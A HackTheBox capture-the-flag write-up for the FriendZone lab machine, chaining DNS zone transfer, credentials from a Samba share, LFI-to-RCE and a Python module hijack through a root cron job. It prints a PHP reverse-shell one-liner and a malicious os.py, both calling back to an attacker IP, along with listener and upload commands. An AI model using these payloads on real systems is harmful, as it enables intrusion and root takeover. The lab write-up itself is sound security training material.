HTB: FriendZone Writeup
FriendZone - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | FriendZone |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | May 13, 2019 |
| IP Address | 10.10.10.123 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
FriendZone is an easy difficulty Linux box that emphasizes thorough enumeration across multiple services. The machine features DNS zone transfers to discover virtual hosts, Samba shares containing credentials, a Local File Inclusion (LFI) vulnerability leading to Remote Code Execution, and finally a privilege escalation via Python module hijacking. The attack chain requires good reconnaissance skills and understanding of how Python modules are loaded and executed.
TL;DR: DNS zone transfer → enumerate Samba shares for credentials → exploit LFI on admin panel → upload reverse shell via writable SMB share → hijack os.py module imported by a root cron job → root shell.
Reconnaissance
Port Scanning
# Quick port discoveryports=$(nmap -p- --min-rate=1000 -T4 10.10.10.123 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed enumerationnmap -sC -sV -p$ports 10.10.10.123Results:
| Port | State | Service | Details |
|---|---|---|---|
| 21 | open | FTP | No anonymous login |
| 22 | open | SSH | OpenSSH (key-based auth available) |
| 53 | open | DNS | BIND 9.11.3-1ubuntu1.2-Ubuntu |
| 80 | open | HTTP | Friend Zone Escape software |
| 139 | open | NetBIOS | Samba shares available |
| 443 | open | HTTPS | Certificate CN: friendzone.red |
Service Enumeration
DNS Enumeration:
The SSL certificate reveals the domain friendzone.red. Let’s perform a DNS zone transfer using dig:
dig axfr friendzone.red @10.10.10.123Discovered Subdomains:
administrator1.friendzone.redhr.friendzone.reduploads.friendzone.red
Add these to /etc/hosts:
echo '10.10.10.123 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red' >> /etc/hostsSamba Enumeration:
enum4linux 10.10.10.123Discovered shares:
general- readableDevelopment- writableFiles- access denied (path:/etc/Files)
Connect to the general share:
smbclient -N \\\\10.10.10.123\\generalFound creds.txt containing:
creds for the admin THING:admin:WORKWORKHhallelujah@#Web Enumeration:
Discovered two vhosts running Apache on HTTP/HTTPS. The HTTPS version on administrator1.friendzone.red presents a login page.
Run Gobuster on the administrator vhost:
gobuster -w directory-list-2.3-medium.txt -t 50 -k -u https://administrator1.friendzone.red/ -x phpFound Endpoints:
/login.php- login form/dashboard.php- requires authentication/timestamp.php- returns current timestamp
Vulnerability Assessment
| Vulnerability | Severity | Details |
|---|---|---|
| DNS Zone Transfer | High | No ACL restrictions on zone transfers |
| Weak Credentials | High | Credentials in readable SMB share |
| Local File Inclusion | Critical | dashboard.php includes arbitrary files via pagename parameter |
| Writable SMB Share | High | Development share allows file uploads by authenticated users |
| Python Module Hijacking | Critical | World-writable os.py imported by root cron job |
Initial Foothold
Exploitation Path
Step 1: Authentication
Login to the administrator panel using credentials from the Samba share:
Username: adminPassword: WORKWORKHhallelujah@#Step 2: LFI Discovery
The dashboard page includes a pagename parameter:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestampTest LFI by including login.php:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/var/www/html/loginThe page executes PHP files and returns their output, confirming LFI vulnerability.
Step 3: Reverse Shell Upload
Create a PHP reverse shell and upload it to the writable Development share:
<?php$sock=fsockopen("10.10.16.32",4444);exec("/bin/bash -i <&3 >&3 2>&3");?>Upload via SMB:
smbclient -N \\\\10.10.10.123\\Development> put php-reverse-shell.phpStep 4: Trigger RCE
Set up listener:
nc -lvnp 4444Trigger the reverse shell via LFI:
curl -k 'https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell'Step 5: Interactive Shell
Upgrade to interactive shell:
python -c "import pty; pty.spawn('/bin/bash')"We now have shell access as www-data user.
Privilege Escalation
Cron Job Enumeration
Use pspy to monitor running processes:
# Download pspy64s and upload to Development sharecd /tmpcp /etc/Development/pspy64s .chmod +x pspy64s./pspy64sDiscover a cron job executing:
/usr/bin/python /opt/server_admin/reporter.pyExamine the script:
cat /opt/server_admin/reporter.pyScript Content:
#!/usr/bin/pythonimport os
to_address = "admin1@friendzone.com"from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s" % to_address
# command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com ... '''# os.system(command)
# I need to edit the script later# Sam ~ python developerThe script imports the os module. Since Python loads modules from the current directory first, we can hijack this.
Module Hijacking
Run LinEnum to find writable system files:
cp /etc/Development/LinEnum.sh .chmod +x LinEnum.sh./LinEnum.sh -t 1Discovery: /usr/lib/python2.7/os.py is world-writable.
Create a malicious os.py that executes a reverse shell:
# Malicious os.pyimport subprocessimport socket
# Add reverse shell codesock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("10.10.16.32", 5555))subprocess.call(["/bin/bash", "-i"], stdin=sock.fileno(), stdout=sock.fileno(), stderr=sock.fileno())Upload and replace the original module:
# Upload to Development sharesmbclient -N \\\\10.10.10.123\\Development> put os.py
# As www-data, copy to writable locationcp /etc/Development/os.py /usr/lib/python2.7/os.pyWait for the cron job to execute (runs every minute). Set up listener:
nc -lvnp 5555Upon next execution of reporter.py, the Python interpreter imports the hijacked os.py and executes our reverse shell code as root.
Attack Chain Summary
DNS Zone Transfer → Discover Subdomains ↓Enumerate Samba Shares → Obtain admin credentials ↓Authenticate to Admin Panel → Access dashboard.php ↓Exploit LFI via pagename parameter → Include arbitrary PHP files ↓Upload reverse shell to Development share → RCE as www-data ↓Identify root cron job (reporter.py) → Imports os module ↓Hijack /usr/lib/python2.7/os.py → World-writable ↓Malicious os.py executes on cron trigger → Reverse shell as rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
dig | DNS zone transfer enumeration |
enum4linux | Samba share enumeration |
smbclient | SMB share access and file upload |
gobuster | Web directory and file enumeration |
curl | HTTP/HTTPS requests and exploitation |
pspy | Cron and process monitoring |
LinEnum.sh | Linux privilege escalation enumeration |
nc | Reverse shell listeners |
Key Learnings
Techniques Practiced
- DNS zone transfer enumeration (AXFR)
- SMB share enumeration and credential extraction
- Local File Inclusion (LFI) exploitation
- Remote Code Execution via LFI in PHP
- Privilege escalation via Python module hijacking
- Cron job monitoring with pspy
- Shell upgrade and interactive terminal control
Lessons Learned
-
Comprehensive Enumeration is Critical - The machine requires enumerating multiple services (DNS, SMB, HTTP) to build the complete attack chain. Missing any service could prevent exploitation.
-
Credential Reuse - Samba share credentials work directly on the web admin panel. Always test credentials across multiple services.
-
LFI to RCE - While LFI alone seems benign, combined with writable upload locations it becomes critical. The ability to include arbitrary PHP files from known paths is the bridge to RCE.
-
Module Hijacking Over Root Cron - The most dangerous vulnerability on this box. Python searches the current directory before system paths. A world-writable system module imported by root cron jobs is a direct privilege escalation vector.
-
Defense in Depth Failure - Multiple configuration mistakes (readable shares, writable SMB uploads, world-writable Python modules, no ACLs on zone transfers) compound to full system compromise.
-
Process Monitoring - Tools like pspy are invaluable for discovering hidden cron jobs and privilege escalation paths that traditional enumeration might miss.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>